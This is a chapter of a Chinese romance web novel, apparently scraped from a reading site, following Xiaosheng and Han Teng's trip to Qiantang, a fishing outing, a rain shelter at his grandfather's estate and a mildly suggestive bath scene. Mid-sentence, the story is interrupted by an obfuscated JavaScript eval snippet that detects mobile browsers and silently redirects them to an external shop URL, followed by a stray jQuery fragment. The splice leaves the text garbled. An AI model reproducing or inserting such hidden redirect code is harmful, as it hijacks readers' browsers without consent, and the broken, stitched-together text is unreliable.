45. 钱塘外祖家
    韩誊不禁笑道:“你知道杭州距离汴京有多远。”

    小笙放下马车帘子,扭回头来看着韩誊:“不太清楚。”

    韩誊不紧不慢收拢手里的扇子,说道:“江南诸暨盛产香榧,口感甚美,三年一熟,颇得京都食客青睐。商人们秋冬收货,开春乘船,从杭州走水路至东都,你猜香榧为何总在三月才上市。”

    小笙抿抿唇,她知道了,因为路上至少要走一到两个月,且还是大型货船走“京杭大运河”,同时雇佣纤夫跟船的情况,一般货商雇不起纤夫和力工,时间则更为漫长。

    但陆路应当会好很多吧,毕竟他们现在走的可是官道。要是骑马的话,日夜兼程说不定会更快。

    韩誊:“我们是出游,又不是逃命,图快做什么。”

    小笙无话可说了,因为韩誊的马车坐着,确实舒服,既宽敞又结实,茶案香灯一应器皿也具全,要是没有负担,就这样坐车游山玩水一整年,真其乐无穷。

    她小口喝着茶,摆弄膝盖上的华容道,正得趣时,韩誊忽然想到什么,问道:“上月山长来信,说下半年会抽调一批学子入宫历练,你有什么想法。”

    小笙抬头看看他,发现他话里有话。果然。

    韩誊冷嗤:“我十二岁那年倚靠家里的助力,倒卖香榧和药材,就买下青槐巷的宅子。你如今十七,借本公子的势,又攒了几个钱?”

    小笙转转琉璃似的眼珠,岔开话题笑道:“那你好厉害呀。”

    韩誊:“别废话,我是问你以后你打算自立门户,还是留待营缮书院。”

    小笙想了想,道:“我和一山从前玩笑着说,要合伙去潘江府或者扬州开家铺子做精巧匠营生——”

    韩誊倍感不可思议:“我没听错吧陈笙,你要跟邱令修走,还去潘江府,你怎么不去莫高窟!”

    小笙忙摆手:“不不,不是走,是迂回。汴京租金太贵,刚起步我们凑不出那么多钱。反正计划是一山当老板,我做掌柜,他老子给我们俩兜底,再招工人帮我们干活儿,想来……也能丰衣足食,等攒够钱再回汴京将手艺发扬光大,这一辈子,也值得了。”

    韩誊:“没出息。”

    小笙叹口气,道:“我不能走仕途,也不能当官,要是‘陈小笙’的户籍壳子不能一直沿用,我连都料匠都做不了。”

    韩誊:“你就没想过一直留在营缮书院。”

    小笙温吞道:“想过。”

    但也只是仅限于“想”而已,等哪天她的身份一曝光,恐怕就要引起一片哗然紧接着被“扫地出门”。每每想到这里,她就忧心忡忡。不过好在她也是个心大的人,没担忧多久就释怀。

    行了两个时辰,到达一家驿馆。

    韩誊出行,他家里人格外慎重,不仅配备日常照料他起居的随从,还有武卫与暗卫!一行人戒备心十分强悍,以至于所到之处,众人都有回避的姿态。

    在驿站稍作休息,又继续启程,为了不耽误时间,他们弃车骑马而行,天黑到达下一个驿站。马车则由专门的车夫日夜兼程随行赶来,方便主人想乘车时,马车随时能在。

    第六日,他们终于到达钱塘。

    过了重阳的钱塘县,天气湿润,降雨丰富,一场突如其来的大雨,将街巷地面洗得碧青如新,傍晚稍稍放晴,夕阳余晖为一排湖柳镀上一层金影,一只只乌篷船停在岸边,船夫正卸下蓑衣打纤儿。

    碧道客旅行色匆匆,都在趁着天黑前找稳落脚地方,可是远远抬头看了眼这家扎缚着彩旗招子的“碧远客栈”,纷纷摇头,遗憾自叹住不起。

    “到了,下来。”韩誊站在马车下,双手抬起要抱她下来,小笙坐得双腿发软,扶着韩誊的臂膀下了马车。

    韩誊搂着她:“你脸色不太好。”

    小笙多做几个深呼吸,道:“大概是水土不服,我适应适应就没事了。对了。”她忽然想到沅瑞,他这次没有来吗?

    韩誊:“管好你自己,管别人做什么。你还能走吗。”要是不能,韩誊不想耽误时间,直接把人抱上去。

    但大街上搂搂抱抱,小笙完全不能接受,况且她还没有弱到那个份上。相反,她的体力还是很好的!谁知道,刚说嘴就打脸,迈开步子第一下,险些没跪倒在客栈门前。

    只好露出苦笑:“容我……缓缓。”

    韩誊支撑着她的身体,道:“你底子也太差了。”

    半晌,小笙低垂着眼眸:“你要是不折腾我,也不至于的。”

    韩誊懒得跟她耗,打横将人抱起来,果然,脸皮儿薄的小笙默默将手盖在自己脸上。

    虽然客栈的规格比不上汴京,但勉强能达到韩誊的要求。奔波几日,安顿下来第一件事当然是沐浴。

    洗完澡,小幺们抬来熏笼,这并不是固定的服务,而需要另外的价钱,不过有韩誊在,完全不用考虑这些花销问题。小笙烘干头发,随意扎了个混元髻。

    刚刚下完雨,推开窗,一阵清风吹拂过,空气清晰。

    晚饭就在房间里用的,七荤三素,酒茶都有,小笙胃口不是很好,慢吞吞吃着饭,韩誊要她吃完饭,早早睡觉,养足精神,明日去划船。

    她小小的嘴巴,咀嚼着食物,含糊不清,蹙眉道:“划船?我最不爱划船了。”

    韩誊面无表情问道:“为何。”

    小笙:“我怕掉水里。”

    韩誊:“…………”

    不过这件事也不是她说了算的,既是被邀请出来玩,那就“客随主便”听韩誊安排就是了。毕竟一路上吃他的,喝他的,总不能真的扫他兴的,那样太不礼貌了。再加上就算小笙她真的不喜欢这个项目,按照她的性格,也会十分捧场的。

    好在西湖的乌篷船,并没有她想象中的可怕,在船中看风景,别有一番滋味。

    此时,报晓的头陀走街串巷敲打木鱼,口中呼着“棉雨晦涩,注意防潮”等吆子。

    沿着岸堤走,他们撞见卖“洗面汤”的老妪背着水瓶子挨家挨户送热水。沽卖早点的摊子也飘出蒸腾白气,那些丰富美味的点心和饧粥,大约二三十文钱就能管饱。

    货郎挑着担子,商旅赶车进城,吆喝声,马蹄声,逐渐送走行者的木鱼声。

    小笙见逐渐远离街巷,便问去哪儿?

    韩誊:“去钓鱼。”

    小笙:“?”

    汴京城外不能垂钓,跑马六七日来钱塘县钓鱼?!

    韩誊:“这里鱼味美。”

    小笙耸耸肩膀,叹口气,只见那些保护韩誊的武卫不再形影不离地跟着他们。韩誊下了乌篷船,就从马行租赁一匹跑山马,对小笙道:“抓住马鞍。”说罢,他两手掐着小笙的腰,将她送了上去,随后,他踩着镫子翻身坐在少女身后,随即抖开缰绳就驰骋起来!

    疾风从耳边撕过,小笙自己也能驾马长驱,唯独与人同乘时十分恐惧。她的后背紧紧贴着韩誊的胸膛,甚至能清晰地感受到他胸腔里心脏“砰砰”跳动的震动。

    韩誊:“害怕就闭上眼睛。”

    小笙:“你就……不能!慢一些。”

    韩誊稍稍放慢速度。

    原来是要上坡了。

    道路两旁一边是茂密的杏林,一边是枝桠横生的桃树,过了坡,终于看到一口池塘。韩誊下了马,又抬手接她。

    小笙这次下马的姿势有点狼狈,直接倒韩誊怀里,要不是韩誊力气大,稳稳接住了她,她能一头栽进土里去。

    韩誊蹲下来理理她的鞋袜和裙摆,叮嘱道:“别踩水。”

    他拿起鞍子一侧的渔具,一手牵着小笙,走到池塘边,挂好鱼饵,抛饵入池,然后将鱼竿递给小笙,自己则重新挂鱼饵。

    韩誊:“我们来比赛,看谁能拔得头筹。”

    小笙:“…………”

    没办法,她低头找了找,发现附近有一块被磨得锃亮的石头,她搬来当凳子坐,刚坐下来她就立刻感受到这个石头的凹槽,仿佛就是天生来当坐具的,与屁股无比契合!

    不知道韩誊为何如此有信心,认定这口野塘里一定有鱼,因为半个时辰过去,她一条也没钓上来。

    韩誊同样。

    小笙不想扫别人的兴,虽并不抱怨,但她也很难保证自己不打瞌睡。没过多久她就支持不住了。

    但在恍惚的梦里,感觉有人在推自己,她睁开惺忪的眼睛,揉了揉:“嗯?是吃饭了吗。”

    韩誊:“…………”

    “起来,我们该走了。”

    小笙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049479|135591||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“你钓到鱼啦?”

    “没有。”韩誊说:“下雨了。”

    “啊?哎呀!”果不其然,小笙刚一抬头,一大滴雨不偏不倚,正正好好落进她的眼睛里,她吃痛。

    韩誊搀扶着她起来,往坡上的桃林里走。

    小笙惊呼:“渔具不拿了吗。”

    韩誊:“嗯,先躲雨。”

    这个天气还真适合文人雅士们野外踏青呢,雨说下就下。

    韩誊牵着她的手腕,在林子里左拐右拐,以为是乱走,没想到竟真叫他闯出一条路来,出了桃林,远远看见过了桥,底下有一座六进六出的大宅子。

    青瓦白墙,飞檐翘立,院子里一众仆从正在搬花收衣。

    小笙:“我们是去哪儿躲一躲吗。”

    韩誊并未答话,雨越下越大,他拉着小笙终于到了院子侧门,砰砰拍门,很快,穿着短打的小厮拉开门,看见两个湿淋淋的来者,目光落在韩誊身上时,登时惊喜道:“二爷,您怎么回来了?”

    说着,忙回头冲同伴大声道:“去信告诉老爷,公子来了!”

    小笙懵懂看着眼前的状况,韩誊这才对她解释道:“这是我外祖在乡下颐养天年的老宅。”

    小笙闻言心中顿然诚惶诚恐,有些局促,韩誊握住她的手腕,不准她退缩。

    韩誊问:“阿爷呢?”

    小厮忙撑开蓬大的黄油纸伞:“回爷的话,阿翁到刘员外家吃酒去了,说今儿不回来,可爷来了,阿翁一定会回来。”

    韩誊则道:“不必惊动他老人家。”

    说罢,先去藤房浴室梳洗。

    谢宅上下都听说世孙公子回来了,忙得不可开交,送热汤的送热汤,拿干净衣物的拿衣物,进进出出吵得很,韩誊看了眼,道:“都下去吧。”

    他浑身都湿透了,雨水顺着他的脸颊往下淌,站着的地方汪着一滩水,小笙也好不到哪儿去,只是她还有些困惑,坐在藤席,愣愣地出神。

    韩誊扒掉自己身上的湿衣,朝她走来:“发什么呆,脱掉湿衣啊,你不冷吗。”

    小笙闻言环顾四周,看见东面有一扇屏风:“那你先洗,我等会儿再洗。”

    韩誊皱眉:“什么你先我先的。”他自己动手,除掉小笙身上的湿衣,丢在地上,小笙羞赧地双手挡在胸前,浴桶里灌满温水,她滑坐下去,让水面淹没过头顶,很久不出来,差点没把自己淹死在里头。

    “啧!你做什么。”韩誊伸进水里,将人提起来。

    小笙焉焉道:“你怎么不早告诉我,这是你外祖家。”

    韩誊递给她藻豆,自己转身去旁边,提起一桶热水,举过头顶,哗啦啦冲下,从头淋到脚。

    小笙别开视线。

    韩誊扭过头,冷嗤道:“告诉你,你就不来了?”

    小笙瓮声瓮气:“也……不是。”

    她只是觉得从进门起,自己头顶就有一片乌云在晃来晃去,胡乱想一通,匆匆洗完,在架子上寻觅到衣物,慌乱中穿好,然后才发现,没有鞋袜!

    这样衣衫不整出去,撞见人也不好,她只好坐在架子旁边的凉席上,等韩誊洗完,请他帮自己拿一套合适的衣物进来。

    可是水汽氤氲的浴室内,并没有很多隐私。

    圆窗外青葱翠绿的竹林,莎莎雨声隔绝一切动静,所以室内的所有声响都被无限放大,那扇屏风薄如蝉翼,简直形同虚设,视线毫无阻拦地穿过去,她甚至能看清楚韩誊的轮廓。

    小笙面红耳热地胡思乱想起来。

    虽然她不是这样的人,但是她也无法控制自己浮想联翩那些旖旎的画面。

    韩誊好像也发现了这一漏洞,搓着澡豆子转过身来,笑道:“看吧,随便看,我不像你那么娇气。”

    小笙假装没听见他说什么,眼睛直直地望向洞窗外:“…………”

    心中无限祈祷。

    不要过来——

    别过来。

    别再过来!

    她本来水土不服,被冷雨浇灌这一通,又急急地上了火,鼻子里竟缓缓溢出一股热流。

    啊呀,她好像……流鼻血了。

    韩誊无奈抬起她的下巴,低头望着她潮红的脸庞,教道:“深呼吸。”